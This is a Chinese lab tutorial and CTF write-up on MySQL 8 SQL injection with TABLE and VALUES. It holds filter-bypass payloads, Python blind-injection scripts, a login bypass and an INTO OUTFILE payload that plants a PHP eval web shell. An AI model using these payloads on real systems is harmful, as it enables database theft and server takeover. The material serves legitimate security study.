• 一篇文章弄懂mysql8新特性注入


    本文为合天网安实验室原创,转载请注明出处!

    前言

    最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。

    环境搭建

    我这里是用docker在服务器上拉的,然后用navicat来看的

    下载

    docker pull mysql:8.0.21
    ​
    docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21

    进入mysql容器,并登陆mysql

    docker exec -it mysql8 bash
    ​
    mysql -uroot -p
    //然后输入密码

    开启远程访问权限

    use mysql;
    ​
    select host,user from user;
    ​
    ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
    ​
    flush privileges;

    连进去看看版本号就可以了,如果是8.0.21则环境搭建完成

    基本知识

    本次测试所用到的user表内容如下

    table

    基本用法

    在MYSQL8以后出现的新语法,作用和select类似。

    作用:列出表中全部内容
    ​
    语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 

    支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

    table user order by 2
    table user limit 2

    与SELECT的区别:

    1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

    注意事项

    比较问题1

    (table information_schema.TABLESPACES_EXTENSIONS limit 6,7)
    ​
    结果
    TABLESOACE_NAME
    tmp/user

    这里用小于号进行比较

    select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:0
    
    select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:1
    
    select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:1

    综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。

    但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。

    所以在进行注入中注意要把得到的数ascii值减1。

    比较问题2

    来看下面的两个例子

    select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:1
    
    select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:NULL
    
    select (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
    ​
    返回值:0

    所以这里在判断最后一位是,要注意这里记得到取0之前的值。

    整数比较问题

    table user limit 0,1
    ​
    返回值:1 hel
    
    看下面的例子
    
    select (('0',2)<(table user limit 0,1))
    ​
    返回值:1
    
    select (('1',2)<(table user limit 0,1))
    ​
    返回值:0
    
    select (('2',2)<(table user limit 0,1))
    ​
    返回值:0
    
    select (('0aaaa',2)<(table user limit 0,1))
    ​
    返回值:1
    
    select (('1aaaa',2)<(table user limit 0,1))
    ​
    返回值:0

    在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。

    VALUES

    VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。

    作用:列出一行的值
    ​
    语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list:   ROW(value_list)[, ROW(value_list)][, ...]value_list:   value[, value][, ...]column_designator:   column_index

    他的语法看起来很长,但用起来很简洁。

    基本使用

    VALUES ROW(1,2)
    VALUES ROW(1,2,3)
    VALUES ROW(1,2,3),ROW(5,6,7)

    配合union使用

    VALUES ROW(1, 2) union select * from user
    select * from user union VALUES ROW(1, 2)

    information_schema.TABLESPACES_EXTENSIONS

    我们可以通过这个表去查询所有数据库中的数据库和数据表

    table information_schema.TABLESPACES_EXTENSIONS
    等价于
    select * from information_schema.TABLESPACES_EXTENSIONS

    在这里我也列出几个和他相同功能的函数

    information_schema.SCHEMA information_schema.TABLES
    information.COLUMNS
    mysql.innodb_table_stats
    mysql.innodb_index_stats
    sys.schema_tables_with_full_table_scans

    实战演练

    基础练习

    index.php

    <?php
    // error_reporting(0);
    require_once('config.php');
    highlight_file(__FILE__);
    $id = isset($_POST['id'])? $_POST['id'] : 1;
    if (preg_match("/(select|and|or| )/i",$id) == 1){
       die("MySQL version: ".$conn->server_info);
    }
    $data = $conn->query("SELECT username from users where id = $id");
    foreach ($data as $users){
       var_dump($users['username']);
    }
    ?>
    
    config.php
    
    <?php
    // config.php
    $dbhost = 'ip';       // mysql服务器主机地址
    $dbuser = 'root';           // mysql用户名
    $dbpass = '123456';          // mysql用户名密码
    $dbname = 'user';         // mysql数据库
    $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
    ?>

    数据库信息

    输入id会返回数据库的值

    这里过滤了几个字符,尝试绕过并报出数据库

    id=0%09union%09values%09row(database())

    爆字段

    如果字段数多了或者少了会报错

    得到字段数

    id=0%09||('1','')<(table%09users%09limit%091)
    //有回显
    id=0%09||('2','')<(table%09users%09limit%091)
    //无回显

    然后去爆破值

    select ('1','a')<(table users limit 1)
    //有回显
    select ('1','r')<(table users limit 1)
    //有回显
    id=0%09||('1','s')<(table%09users%09limit%091)
    //这里就可以得到第一个值,然后继续爆
    ​
    id=0%09||('1','roos')<(table%09users%09limit%091)
    //有回显
    id=0%09||('1','root')<(table%09users%09limit%091)
    //无回显

    到这里记得在最后一个值加上1,这样就可以得到数据库的值

    脚本

    import requests
    ​
    def ord2hex(string):
    result = ""
    for i in string:
     r = hex(ord(i));
     r = r.replace('0x','')
     result = result+r
    return '0x'+result
    ​
    tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    flag = ""
    for i in range(0,50):
    for j in range(110,122):
    data = {
    'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)),
    }
    r = requests.post('http://127.0.0.1/index.php',data=data);
    print(data)
    if 'string(4)' in r.text:
    continue
    else:
    flag = flag +chr(j-1)
    print(flag)
    break
    if(len(flag)<i):
    break
    print(flag[:-1]+chr(ord(flag[-1:])+1))

    写文件

    除了上面的方法还可以通过读写来getshell

    查看是否有权限写入文件

    id=0/**/union/**/values/**/row(user())
    id=0/**/union/**/values/**/row(@@secure_file_priv)

    如果有,则可以通过下面的语句写入

    id=0/**/union/**/values/**/row(load_file('/flag'))
    
    id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)
    /**/into/**/outfile/**/'/var/www/html/shell.php'//<?php @eval($_POST[1]);?>

    香山杯---login

    这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。

    描述

    题目内容:只是一个简单的登录框,登录就有flag。
    ​
    hint: mysql8新特性:values的利用

    解题过程

    进去就一个登陆框,直接抓包看看

    发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵

    简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。

    这里还可以用||来进行拼接。

    测试,发现这样就可以进行注入。

    username=123' || 1=1#&password=456&login=login

    脚本

    import requests
    ​
    flag=''
    i=0
    while True:
    small=32
    big=127
    i=i+1
    while small<big:
    mid=small+big>>1
    data={
    'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
    'password':'1',
    }
    r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)
    if '密码错误' in r.text:
    small=mid+1
    else:
    big=mid
    if(i>4):
    break
    else:
    print(chr(small))
    flag+=chr(small)
    ​
    print(flag)

    通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。

    import requests
    ​
    ​
    def ord2hex(string):
    result = ""
    for i in string:
     r = hex(ord(i));
     r = r.replace('0x','')
     result = result+r
    return '0x'+result
    ​
    tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    flag = ""
    for i in range(0,50):
    for j in range(48,122):
     data = {
     # 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),
     #'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),
     # username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
      'password':'',
    }
     r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);
     if '用户名不存在' in r.text:
      flag = flag +chr(j-1)
      print(flag)
      break

    上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。

    本题就用union去生成了一个新的values来进行绕过。

    username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login

    登录进去就有flag了。

    搭建环境问题

    如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)

    就添加这两行

    bind-address = 0.0.0.0
    default_authentication_plugin=mysql_native_password

    完整的代码

    # Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
    #
    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; version 2 of the License.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    # GNU General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
    ​
    #
    # The MySQL Server configuration file.
    #
    # For explanations see
    # http://dev.mysql.com/doc/mysql/en/server-system-variables.html
    ​
    [mysqld]
    pid-file       = /var/run/mysqld/mysqld.pid
    socket         = /var/run/mysqld/mysqld.sock
    datadir         = /var/lib/mysql
    secure-file-priv= NULL
    ​
    bind-address = 0.0.0.0
    default_authentication_plugin=mysql_native_password
    ​
    # Custom config should go here

    参考文章

    http://www.jzpc.com.cn/jq/185709.html

    https://www.actionsky.com/2777.html

    https://blog.csdn.net/HBohan/article/details/119757059

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    java enum
    how to build a runable jar
    ZF报错解决方法·
    Apache配置本地测试多网站域名与虚拟主机
    PHP实现MVC开发: 一个简单的MVC
    收藏PHP常用函数
    数据库密码忘记…………找回方法
    php读取excel文件reader.php excel操作类使用
    积累的常用linux命令
    JS控制浏览器大小
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15561039.html
Copyright © 2020-2023  润新知